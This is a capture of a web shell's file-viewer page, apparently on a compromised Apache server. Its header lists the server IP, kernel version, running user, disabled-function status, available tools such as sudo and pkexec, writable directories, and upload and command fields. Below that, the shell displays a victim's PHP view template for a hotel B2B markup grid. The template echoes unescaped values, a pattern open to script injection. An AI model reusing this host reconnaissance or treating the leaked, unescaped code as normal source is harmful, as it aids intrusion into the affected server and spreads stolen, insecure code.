403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/views/scripts/hotel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/views/scripts/hotel/view-markup-grid.phtml
<form name="frmMarkupGrid" id="frmMarkupGrid" method="POST"> 
    
<table class="table table-bordered no-margin">
        <thead>
        <tr class="alert alert-success">

            <th><strong>Market Place</strong></th>
            <th><strong>Permission</strong></th>
            
        <?php if($this->MarkupSetting == 'C' && $this->MarkupType == FIXED_PERCENTAGE_MARKUP_ID ) { ?>    
            <th><strong>Mark up Fixed %</strong></th>
        <?php } else { ?>    
<!--            <th><strong>Mark up Fixed Price</strong></th>-->
        <?php } ?>    
            
            <th colspan="4" class="text-center"><strong>Offer Price</strong></th>
            <th><strong>T&nbsp;&amp;&nbsp;C</strong></th>
            <th><strong>Action</strong></th>
        </tr>
        
        <tr class="alert alert-info">
        <?php if($this->MarkupSetting == 'C' && $this->MarkupType == FIXED_PERCENTAGE_MARKUP_ID ) { ?>    
        <td colspan="3">&nbsp;</td>
        <?php } else { ?>
         <td colspan="2">&nbsp;</td>
        <?php } ?>
           
           
        <td class="text-center small"><strong>Double occupancy (<?php echo $this->DOccupCost;  ?>)</strong></td>
        <td class="text-center small"><strong>Single occupancy (<?php echo $this->SOccupCost; ?>)</strong></td>
        <td class="text-center small"><strong>Extra with bed (<?php echo $this->ExtraBedCost; ?>)</strong></td>
        <td class="text-center small"><strong>Extra W/O bed (<?php echo $this->ExtraWOBedCost; ?>)</strong></td>

        <input type="hidden" id="hidden_doccupancy" name="hidden_doccupancy" value="<?php echo $this->DOccupCost; ?>">
        <input type="hidden" id="hidden_soccupancy" name="hidden_soccupancy" value="<?php echo $this->SOccupCost; ?>">
        <input type="hidden" id="hidden_extrabed" name="hidden_extrabed" value="<?php echo $this->ExtraBedCost; ?>">
        <input type="hidden" id="hidden_extra_withoutbed" name="hidden_extra_withoutbed" value="<?php echo $this->ExtraWOBedCost; ?>">

          <td colspan="2">&nbsp;</td>
        </tr>

        </thead>
                                      
                                   
            <tbody>
                
            <?php if($this->MarkupSetting == 'C') { 
                $arrMarketPlaces =  Zend_Controller_Action_HelperBroker::getStaticHelper('B2B')->getMarketPlaces(); 
                $arrPermissions  =  Zend_Controller_Action_HelperBroker::getStaticHelper('B2B')->getPermissions(); 
            ?>    
                
                 <tr>

            <td>
              <?php

              ?>
                <select id="MPType" name="MPType" class="form-control" placeholder="Select" style="width:150px; white-space:nowrap;">
                  <option value="0">Select</option>
                  <?php 
                    if(!empty($arrMarketPlaces) ) {
                        foreach($arrMarketPlaces as $place ) { ?>
                            <option value="<?php echo $place['MPType']; ?>"><?php echo $place['Title']; ?></option>
                        <?php
                        }
                    }
                  ?>
                </select>


              </td>   

          <td>
              <select id="permissions" name="permissions" class="form-control" placeholder="Select" style="width:110px;">
                  <option value="">Select</option>

                   <?php while( list($key, $value) = each( $arrPermissions) ) { ?>
                              <option value="<?php echo $key; ?>" <?php if($key == 0) echo "selected"; ?>><?php echo $value; ?></option>
                  <?php } ?>
              </select>
          </td>

           <?php
           if($this->MarkupSetting == 'C' && $this->MarkupType == FIXED_PERCENTAGE_MARKUP_ID ) {  echo $this->MarkupType; ?>
              <td><input id="MarkUp" name="MarkUp" type="text" class="form-control whbg ratetxtwidth75" onkeyUp="autofillRates(this)" value=""></td>
            <?php }
            ?>

        <td><input id="doccupancy" name="doccupancy" type="text" class="form-control whbg ratetxtwidth75"  value=""></td>
        <td><input id="soccupancy" name="soccupancy" type="text" class="form-control whbg ratetxtwidth75"  value=""></td>
        <td><input id="extra-bed" name="extra-bed" type="text" class="form-control whbg ratetxtwidth75"  value=""></td>
        <td><input id="extra-without-bed" name="extra-without-bed" type="text" class="form-control whbg ratetxtwidth75"  value=""></td>
        <td style="position:relative;"><a href="javascript:void(0);" class="edittxt" onclick="viewTermsAndConditions('new','')" >Edit</a>
              <div class="editBoxContainer" style="display:none;">
              <div class="form-group form-group1">
              <textarea name="Details" id="Details" cols="45" rows="2" class="form-control whbg"></textarea>
              </div>
              <div class="col-md-12 no-padding text-right">
                  <a href="javascript:void(0);" class="btn btn-success btn-round btn-sm submittxt" onclick="saveTermsAndConditions()">Submit</a>
                  <a href="javascript:void(0);" class="btn btn-default btn-round btn-sm canceltxt" onclick="cancelTermsAndConditions()">Cancel</a>
              </div>
          </div>
        </td>
        <td>
        <a class="btn btn-success btn-sm" href="javascript:void(0);" onclick="addMarkup('<?php echo $this->InvnItemSysId; ?>','<?php echo $this->MarkupType ?>', '<?php echo $this->MarkupSetting ?>')"><i class="fa fa-fw fa-arrows"></i></a></td>
        </tr>
        
            <?php } 
            
            
            $arrPermissions  = Zend_Controller_Action_HelperBroker::getStaticHelper('B2B')->getPermissions(); 
            
            if(!empty($this->arrMarkupList) ) {
                foreach($this->arrMarkupList as $markups) {
                ?>

                <tr>
                        <td><?php echo $markups['MPType']; ?></td>                                          
                        <td><?php echo $arrPermissions[$markups['IsActive']] ?></td>
                        
                        <?php if($this->MarkupSetting == 'S') { ?>
                            <td class="text-center"><?php echo $markups['DOccupMarkUp']; ?></td>
                            <td class="text-center"><?php echo $markups['SOccupMarkUp']; ?></td>
                            <td class="text-center"><?php echo $markups['ExtraBedMarkUp']; ?></td>
                            <td class="text-center"><?php echo $markups['ExtraWOBedMarkUp']; ?></td>
                        <?php } else if($this->MarkupSetting == 'C') { ?>
                            
                            <?php if( $this->MarkupType == FIXED_PERCENTAGE_MARKUP_ID ) { ?>
                            <td class="text-center"><?php echo $markups['MarkUp']; ?></td>
                            <?php } ?>
                            
                            <td class="text-center"><?php echo $markups['DOccupPrice']; ?></td>
                            <td class="text-center"><?php echo $markups['SOccupPrice']; ?></td>
                            <td class="text-center"><?php echo $markups['ExtraBedPrice']; ?></td>
                            <td class="text-center"><?php echo $markups['ExtraWOBedPrice']; ?></td>
                        
                        <?php } ?>
                        
                        <td style="position:relative;"><a href="javascript:void(0);" class="viewtxt" onclick="viewTermsAndConditions('<?php echo $markups['InvnItemSysId']; ?>','<?php echo $markups['MPType_id']; ?>')">View</a>
                              <div class="viewBoxContainer" id="viewBoxContainer-<?php echo $markups['InvnItemSysId']; ?>-<?php echo $markups['MPType_id']; ?>" style="display:none;">
                              <div class="form-group form-group1 viewBoxContainercontent">
                              <?php echo $markups['Details']; ?>
                              </div>
                              <div class="col-md-12 no-padding text-right">
                                  <a href="javascript:void(0);" class="btn btn-default btn-round btn-sm closetxt" onclick="closeTermsAndConditions('<?php echo $markups['InvnItemSysId']; ?>','<?php echo $markups['MPType_id']; ?>')">Close</a>
                              </div>
                          </div>
                        </td>
                        <td>
                            <?php if($this->MarkupSetting == 'C') { ?>
                                 <a href="javascript:void(0);" class="btn ls-red-btn btn-sm" onclick="deleteMarkupSetting('<?php echo $markups['InvnItemSysId']; ?>','<?php echo $markups['MPType_id'] ?>', '<?php echo $this->MarkupType ?>','<?php echo $this->MarkupSetting ?>')"><i class="fa fa-trash-o"></i></a>
                            <?php } else echo "&nbsp;"; ?>     
                        </td>
                    </tr>
                     <?php } 
                }  else { ?>
                    <tr><td colspan="10" class="error">No record found.</td>
                <?php } ?>  
        </tbody>
                                      
                                      
</table>
</form>


<script type="text/javascript">
    function autofillRates(obj) {
       var markUpPercentage = $(obj).val();
       

       var doccupancy          = $("#hidden_doccupancy").val();
       var soccupancy          = $("#hidden_soccupancy").val();
       var extrabed            = $("#hidden_extrabed").val();
       var extra_withoutbed    = $("#hidden_extra_withoutbed").val();

       doccupancy          = getPercentage(markUpPercentage, doccupancy);
       soccupancy          = getPercentage(markUpPercentage, soccupancy);
       extrabed            = getPercentage(markUpPercentage, extrabed);
       extra_withoutbed    = getPercentage(markUpPercentage, extra_withoutbed);

       $("#doccupancy").val(doccupancy);
       $("#soccupancy").val(soccupancy);
       $("#extra-bed").val(extrabed);
       $("#extra-without-bed").val(extra_withoutbed);
    }
    
    function addMarkup(InvnItemSysId, MarkupType, MarkupSetting) {
    
        var data = $('#frmMarkupGrid').serialize();
        
        
        $.ajax({
            url  : '/hotel/add-markup',
            data : data + "&InvnItemSysId="+InvnItemSysId+"&MarkupType=" + MarkupType+"&MarkupSetting=" + MarkupSetting,
            type : 'POST',
            dataType : 'json',
            error : function() {

            },
            beforeSend : function() {

            },
            success : function(response) {
                if(response.success) {

//                    $("#markup-setting-error-messages").html(response.msg);
//                    $("#markup-setting-error-messages").css('display','block');
//
//                    viewMarkupSettingGrid(InvnItemSysId,'CUSTOMIZE',markupType);
                      viewMarkupSettingGrid(InvnItemSysId, MarkupType, MarkupSetting);

                }else {
                alert(response.msg);
                return false;
            }
        }
    });
    return true;
}

    
    
</script>


Youez - 2016 - github.com/yon3zu
LinuXploit